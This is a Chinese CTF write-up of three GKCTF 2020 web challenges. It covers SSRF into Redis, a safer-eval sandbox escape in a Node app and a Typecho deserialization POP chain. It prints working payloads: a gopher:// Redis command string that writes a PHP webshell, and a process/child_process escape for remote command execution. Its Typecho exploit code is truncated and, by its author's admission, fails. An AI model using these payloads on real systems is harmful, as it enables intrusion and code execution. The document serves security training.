【GKCTF 2020】ez三剑客收获

  • gopher协议SSRF
  • 多利用github搜索已存在的函数漏洞
  • CMS审计的一些方法

1. ezweb

打开题目给了一个输入框,能够向输入的url发送http请求。F12查看一下,发现hint:?secret,将其作为当前url的GET参数:

直接给出了靶机的路由表,说明是一个SSRF。

1.1 file协议读源码

file:///var/www/html/index.php

失败,继续尝试:

file:/var/www/html/index.php

这两种方法是等效的,这下看到了index.php的内容:

?phpfunction curl($url){      $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_HEADER, 0);    echo curl_exec($ch);    curl_close($ch);}if(isset($_GET['submit'])){$url = $_GET['url'];//echo $url."\n";if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match)){//var_dump($match);die('别这样');}curl($url);}if(isset($_GET['secret'])){system('ifconfig');}?

原来这里过滤了file://同时也过滤了dict协议,但是没有过滤gopher。

1.2 BP扫内网

抓包在第一个网段的C段下进行扫描:

可以看到,提示应该是在该地址上的其他端口中。

1.3 测试端口

这里重点测试SSRF的常用利用端口:mysql(3306)、redis(6379)。当然也可以使用Bp的intrude爆破其他端口。

提交172.2.158.173:6379的url时出现:

说明开启了Redis服务。经典的Gopher协议来打Redis。

1.4 Gopherus生成payload:

工具可以在github上下载:

python2 gopherus.py --exploit redis

这里我们将shell.php直接写入:

gopher://172.2.158.173:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20echo%20system%28%27cat%20/flag%27%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

将其输入到提交的url框中。

1.5 查flag

接下来只需要访问shell.php即可:

172.2.158.173/shell.php

得到flag:

2. easynode

贴个源码:

const express = require('express');  //express是一个Node.js框架const bodyParser = require('body-parser');const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库const fs = require('fs');const app = express();app.use(bodyParser.urlencoded({ extended: false }));app.use(bodyParser.json());// 2020.1/WORKER2 老板说为了后期方便优化app.use((req, res, next) => {  if (req.path === '/eval') {    let delay = 60 * 1000;    console.log(delay);    if (Number.isInteger(parseInt(req.query.delay))) {      delay = Math.max(delay, parseInt(req.query.delay));    }    const t = setTimeout(() => next(), delay);    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事    setTimeout(() => {      clearTimeout(t);      console.log('timeout');      try {        res.send('Timeout!');      } catch (e) {      }    }, 1000); //取消上面的delay时间的定时器,直接一秒之后输出timeout  } else {    next();  }});app.post('/eval', function (req, res) {  let response = '';  if (req.body.e) {    try {      response = saferEval(req.body.e);    } catch (e) {      response = 'Wrong Wrong Wrong!!!!';    }  }  res.send(String(response));});// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPIapp.get('/source', function (req, res) {  res.set('Content-Type', 'text/javascript;charset=utf-8');  res.send(fs.readFileSync('./index.js'));});// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口app.get('/version', function (req, res) {  res.set('Content-Type', 'text/json;charset=utf-8');  res.send(fs.readFileSync('./package.json'));});app.get('/', function (req, res) {  res.set('Content-Type', 'text/html;charset=utf-8');  res.send(fs.readFileSync('./index.html'))})app.listen(80, '0.0.0.0', () => {  console.log('Start listening')});

2.1 分析

可以看到主要能利用的地方是saferEval函数。于是去github上搜一搜该函数的issue:

​这里通过获取process变量的全局应用,执行了系统命令。

2.2 setTimeout绕过

源代码中Next()函数表示一个回调操作,Nodejs会通过其将控制权交给下一个中间件处理函数,也就是app.post('/eval', function (req, res)部分。

所以为了能够成功执行到saferEval函数,我们需要绕过const t = setTimeout(() => next(), delay);,使其在远低于delay时间下执行next函数。

但是这个函数存在一个漏洞,当我们设置的计时器内容过大时,这里是超出2147483647秒时,会发生溢出,导致delay的内容为1,也就是一毫秒内就执行next函数。

2.3 Payload

RCE部分:

e = setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();

可以看到是一个root用户,换成命令cat /flag直接读flag。

3. eztypecho

有了之前typecho反序列化的基础:【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF,看这个就明白很多。

3.1 分析源码

定位到Install.php中,全局搜索unserialize函数。

可以看到要进入反序列化函数,首先需要设置GET参数finish;同时需要设置cookie:__typecho_config,这可以通过POST变量来设置(原因在get函数中写了)。

可以看到条件满足,成功设置了cookie,下一步,我们就需要使其SESSION不为空。但是搜索一下发现无法设置session。于是考虑另一个反序列化函数:

这里设置一个start参数即可。那下面就是找POP链。

3.3 POP链

首先上面的代码中存在字符串操作:

$type = explode('_', $config['adapter']);

自然想到__toString方法。全局搜索一下,发现/var/Feed.php中有线索:

这里如果$item[‘author’]类中不存在screenName属性,就会自动调用get方法。

全局搜索一下__get方法:

存在这个get魔术函数,其中这个变量key为属性screenName。继续跟进其中的get方法:

该get函数返回时,会调用__applyFilter函数,于是跟进看一下:

其中这个call_user_func函数的$filter变量和$value变量都是可控的,并且这里的几个函数都在同一个文件中,这样我们就可以根据其进行RCE。

反序化链为:

Feed.php:Typecho_Feed::__toString()->Request.php:Typecho_Request::__get()->get()->__applyFilter()->call_user_func()

3.4 Payload

如下:

_type = $this::ATOM1;           $this->_items[0] = array(                   'category' => array(new Typecho_Request()),                   'author' => new Typecho_Request(),           );    }    }class Typecho_Request{    private $_params=array();    private $_filter = array();    public function __construct(){        $_params['screenName']='system("ls")';        $this->_filter[0] = 'assert';    }}$a=array('adapter'=>'new Typecho_Feed()',    'prefix'  => 'typecho_');echo base64_encode(serialize($a));?>

感觉是对的,但是没成功。试了网上现成的exp也没成功,不知道为啥,是不是环境的问题。